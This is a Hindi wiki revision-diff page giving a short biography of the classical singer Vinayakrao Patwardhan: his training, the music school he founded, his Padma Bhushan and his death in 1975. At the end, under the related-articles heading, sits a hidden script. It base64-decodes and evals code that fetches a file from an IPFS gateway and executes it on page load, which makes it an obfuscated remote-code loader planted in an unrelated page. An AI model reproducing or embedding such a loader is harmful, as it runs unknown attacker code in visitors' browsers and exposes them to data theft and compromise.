विनायकराव पटवर्धन: Difference between revisions
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replacement - " महान " to " महान् ") |
व्यवस्थापन (talk | contribs) m (Text replacement - "पश्चात " to "पश्चात् ") |
||
Line 34: | Line 34: | ||
'''विनायकराव पटवर्धन''' ([[अंग्रेज़ी]]: ''Vinayakrao Patwardhan'', जन्म: [[22 जुलाई]], [[1898]]; मृत्यु: [[23 अगस्त]], [[1975]]) [[शास्त्रीय संगीत|हिंदुस्तानी शास्त्रीय संगीत]] के गायक थे। [[विष्णु दिगंबर पलुस्कर|पं. विष्णुदिगंबर पलुस्कर]] के शिष्यों में विनायकराव पटवर्धन अपने समय के महान् गायक थे। | '''विनायकराव पटवर्धन''' ([[अंग्रेज़ी]]: ''Vinayakrao Patwardhan'', जन्म: [[22 जुलाई]], [[1898]]; मृत्यु: [[23 अगस्त]], [[1975]]) [[शास्त्रीय संगीत|हिंदुस्तानी शास्त्रीय संगीत]] के गायक थे। [[विष्णु दिगंबर पलुस्कर|पं. विष्णुदिगंबर पलुस्कर]] के शिष्यों में विनायकराव पटवर्धन अपने समय के महान् गायक थे। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
विनायकराव पटवर्धन का जन्म [[22 जुलाई]], [[1898]] ई. को मिरज़ ([[महाराष्ट्र]]) में हुआ था। संगीत की प्रांरभिक शिक्षा अपने चाचा श्री केशवराव से प्राप्त की। | विनायकराव पटवर्धन का जन्म [[22 जुलाई]], [[1898]] ई. को मिरज़ ([[महाराष्ट्र]]) में हुआ था। संगीत की प्रांरभिक शिक्षा अपने चाचा श्री केशवराव से प्राप्त की। तत्पश्चात् 9 वर्ष की आयु से पं. विष्णुदिगंबर पलुस्कर से शिक्षा लेना शुरू किया। प्रारंभ में [[बाल गंधर्व]] की नाटक मंडली में काम किया। तत्पश्चात् सन् [[1932]] में 'गंधर्व महाविद्यालय', [[पूना]] की स्थापना करके आजीवन संगीत सेवा की। कई पाठ्य पुस्तकें भी लिखीं, जिनमें 'राग-विज्ञान' प्रमुख है। | ||
==सम्मान== | ==सम्मान== | ||
सन [[1972]] में विनायकराव पटवर्धन को [[भारत सरकार]] द्वारा '[[पद्म भूषण]]' की उपाधि से विभूषित किया गया। | सन [[1972]] में विनायकराव पटवर्धन को [[भारत सरकार]] द्वारा '[[पद्म भूषण]]' की उपाधि से विभूषित किया गया। |
Revision as of 07:30, 7 November 2017
विनायकराव पटवर्धन
| |
पूरा नाम | पंडित विनायकराव पटवर्धन |
जन्म | 22 जुलाई, 1898 |
जन्म भूमि | मिरज़, महाराष्ट्र |
मृत्यु | 23 अगस्त, 1975 |
मृत्यु स्थान | पूना |
अभिभावक | पिता- नारायणराव पटवर्धन, केशवराव (चाचा) |
कर्म-क्षेत्र | शास्त्रीय गायक |
मुख्य रचनाएँ | कई पाठ्य पुस्तकें लिखीं, जिनमें 'राग-विज्ञान' प्रमुख है। |
पुरस्कार-उपाधि | पद्म भूषण |
नागरिकता | भारतीय |
अन्य जानकारी | पं. विष्णुदिगंबर पलुस्कर के शिष्यों में विनायकराव पटवर्धन अपने समय के महान् गायक थे। |
विनायकराव पटवर्धन (अंग्रेज़ी: Vinayakrao Patwardhan, जन्म: 22 जुलाई, 1898; मृत्यु: 23 अगस्त, 1975) हिंदुस्तानी शास्त्रीय संगीत के गायक थे। पं. विष्णुदिगंबर पलुस्कर के शिष्यों में विनायकराव पटवर्धन अपने समय के महान् गायक थे।
जीवन परिचय
विनायकराव पटवर्धन का जन्म 22 जुलाई, 1898 ई. को मिरज़ (महाराष्ट्र) में हुआ था। संगीत की प्रांरभिक शिक्षा अपने चाचा श्री केशवराव से प्राप्त की। तत्पश्चात् 9 वर्ष की आयु से पं. विष्णुदिगंबर पलुस्कर से शिक्षा लेना शुरू किया। प्रारंभ में बाल गंधर्व की नाटक मंडली में काम किया। तत्पश्चात् सन् 1932 में 'गंधर्व महाविद्यालय', पूना की स्थापना करके आजीवन संगीत सेवा की। कई पाठ्य पुस्तकें भी लिखीं, जिनमें 'राग-विज्ञान' प्रमुख है।
सम्मान
सन 1972 में विनायकराव पटवर्धन को भारत सरकार द्वारा 'पद्म भूषण' की उपाधि से विभूषित किया गया।
निधन
विनायकराव पटवर्धन तराने के सिद्ध गायक थे, साथ ही चारों पट की गायकी में दक्ष थे। उन्होंने रूस आदि देशों में जाकर भारतीय संगीत का प्रचार भी किया। अंतत: 23 अगस्त, 1975 को पूना में ही इस महान् गायन-मनीषी का देहावसान हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- पुस्तक- संगीत विशारद |वसंत (लेखक), डॉ. लक्ष्मीनारायण गर्ग (संपादक) | पृष्ठ संख्या- 492
बाहरी कड़ियाँ
- VINAYAKRAO PATWARDHAN: FAMOUS MUSICIAN & DEDICATED MISSIONARY
- Vinayakarao Patwardhan, great performer and teacher
- Vinayakrao Patwardhan
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>